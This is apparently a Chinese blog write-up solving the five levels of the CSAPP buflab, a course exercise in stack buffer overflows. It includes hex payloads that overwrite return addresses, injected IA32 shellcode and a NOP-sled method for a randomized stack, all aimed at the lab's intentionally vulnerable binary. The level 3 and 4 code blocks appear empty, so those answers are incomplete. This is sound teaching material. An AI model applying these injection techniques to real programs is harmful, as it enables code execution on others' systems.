这是CSAPP的buflab,非常有意思,难度又比之前的bomb-lab要小很多。程序有一个命令行选项-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值,这个cookie值之后在程序里一直会用到,所以每个人的答案应该都会不同。我用的userid是zjs
。
这个lab要我们做这样一件事情,修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是这样的:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈。
就像下面这个函数会破坏自己的函数栈:
#define NORMAL_BUFF_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFF_SIZE];
Gets(buf);
return 1;
}
会破坏到什么程度呢?如果用户输入太大,那么就把saved ebp
给覆盖掉了;再大一点,就把return address
覆盖掉了…没错,这个lab的精髓就是要让我们的输入来覆盖return address
达到return到代码的其它地方执行。
Some Tools
在做这个实验的时候,需要了解以下一些命令:
- objdump -d xxx //反汇编
- gcc -m32 -c xxx.s //将汇编文件xxx.s生成IA32的relocatable object file,再用反汇编就知道xxx.s中汇编代码的二进制编码
第0关:smoke
我们的目标是调用上面的getbuf
以后,不正常返回,而是跳掉smoke这个函数的地方执行。
很简单,就是先填充掉32字节本身的变量空间,然后4个字节重写掉saved ebp
,再用4个字节重写掉return address
,需要把return address
替换为smoke的函数起始地址。我这里看到的smoke起始地址是0x8048d83
,编码用的是小端规则,所以答案是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 83 8d 04 08
需要注意的是,这里覆盖掉了saved ebp
,所以离开程序smoke以后ebp
就错了,好在smoke直接调exit了,所以暂时不需要考虑这个问题。
实验还提供了一个工具把上面的二进制答案转化为程序输入的字节流,所以完整的命令行是:
cat answer0 | ./hex2raw | ./bufbomb -u zjs
第1关:Sparkler
这一关和第0关类似,最大的区别是这次要跳到fizz
这个函数有个参数,我们在输入里需要伪造出函数的参数。
代码里有两句是:
mov 0x8(%ebp),%eax
cmp 0x804c1e4,%eax
其中0x8(%ebp)
就是函数的第一个参数,而0x804c1e4
这个内存地址保存着cookie的值(通过阅读课程给的pdf中的伪代码推断出),然后这两个值期望是一样的,我们要做的就是伪造出一个函数参数,使它等于cookie值。所以只需在第一题的基础上,后面加4个字节0(伪造return address,这个值的大小无所谓,但必须占着空间),紧接着后面加上参数,即cookie的值即可。这一关答案为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 38 8d 04 08
00 00 00 00 /* fake return address */
d4 9f c2 50 /* the result of ./makecookie <yourname> */
第2关:Firecracker
这关比较有意思,在bang这个函数中,程序需要0x804c1e4
和0x804c1ec
存的值相同。0x804c1e4
存的是cookie。
我们需要做的,是自己写一段代码,给0x804c1ec
内存地址赋值,然后让程序跳转到我们写的代码处执行。怎么让程序跳转到我们嵌入的汇编代码?既然可以修改return address
,那就让它跳到局部字符串的首地址,而局部字符串里存的就是我们的指令代码。
现在剩下的问题就是,编写攻击的汇编代码,然后把它转成二进制格式,作为bufbomb的输入。
第一步很简单,需要编写下面的代码Firecracker.s
mov 0x804c1e4,%eax
mov %eax,0x804c1ec // *(0x804c1ec) = *(0x804c1e4)
push $0x8048ceb // function bang's address
ret
第二步需要得到它对应的IA32二进制汇编代码,对它进行汇编:
gcc -m32 -c Firecracker.s
生成Firecracker.o文件,然后反汇编生成二进制代码:
objdump -d Firecracker.o
之后把这些代码复制到我们的答案里就可以了。最后需要把return address
改为字符串的起始地址,虽然书里提到stack randomization的方法来防止bufferoverflow攻击,但这里提供的bufbomb似乎不支持,所以给我们的攻击提供了可能。在getbuf这个函数里打好断点,用gdb命令p $ebp - 0x20
就可以查到字符串起始地址,在我这里是0x556836e0
。
这一关的答案为
a1 e4 c1 04 08 /* mov */
a3 ec c1 04 08 /* mov */
68 eb 8c 04 08 /* push jmp address*/
c3 /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 e0 36 68 55 /* using 0 and $ebp - 0x20 replace ebp and return address*/
第3关:Dynamite
和上一关类似,区别在这一关在嵌入攻击汇编代码后,不是跳转到任意一个函数,而是跳转回callee(就是test函数),其实这和跳转到bang没有任何区别。题目还有一个额外的要求,让getbuf返回cookie值给test而不是原本的1。寄存器%eax是用来传递返回值的,所以只需要在攻击代码里把cookie值mov到这个寄存器即可。还有一个问题,return address怎么得到,有两个方法,第一个方法,在test函数调用getbuf的下一条指令地址就是getbuf返回的地址;第二个方法,用gdb断点打在getbuf,打印出%ebp + 4这个地址的值就是return address。
所以攻击代码是这样的:
1 2 3 |
|
运行一下发现程序段错误了。用gdb单步调试发现这个段错误发生在从getbuf返回后,执行mov -0xc(%ebp),%edx
。突然意识到,在攻击的时候把%ebp给覆盖掉了,所以此时的%ebp是0,当然会发生非法地址访问。于是在我们的攻击代码里需要恢复%ebp的值,这个值也可以从gdb中打印看出。
所以攻击代码应该是这样的:
1 2 3 4 |
|
到这里,我们可以思考一下,我们究竟干了什么。我们让一个程序执行了我们自己设计的代码并且程序毫不知情!
第4关:Nitroglycerin
这一关难度比前面都大。进入这一关需要加入-n选项,调的函数是testn和getbufn,而不是前面的test和getbuf。前面所有函数调用的栈地址都是固定的,静态的。在这一关栈的地址将不固定,也就是说不能准确地跳转到栈空间的某个特定地址,因为我们不知道局部变量的初始化地址在哪。这道题有5个test case,要都通过才算过,不能写死跳转地址了。
在这一关buffersize也从32增大到了512,这个做法是有意义的。大概的思路是,虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90
)。不管我们跳转到哪个nop,最后都会执行到我们的代码。用gdb观察5个case分别的ebp - 0x200
的值,我们取最大的值作为跳转地址。
在我这里最大的地址是0x55683570
。
因为要执行5遍,所以我们必须考虑覆盖saved ebp
这个问题,否则程序不能正确运行。查看testn的ebp值和getbufn的ebp值,发现它们的差值总是0x30
,所以当我们返回testn的时候,$esp+0x28 就应该是此时ebp正确的值。
所以我们的汇编代码为:
1 2 3 4 |
|
第二行代码的目的是因为跳转到0x8048c93
后,eax的值需要和cookie比较,相等才能通过。
所以答案为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
|
注意最后一行最后4个字节为跳转地址,这个地址需要计算得出,并且cookie不同这个值也不同。
这一关的运行代码为:
cat answer4 | ./hex2raw -n | ./bufbomb -u zjs -n
至此,5个level的buffer overflow攻击就全完成了。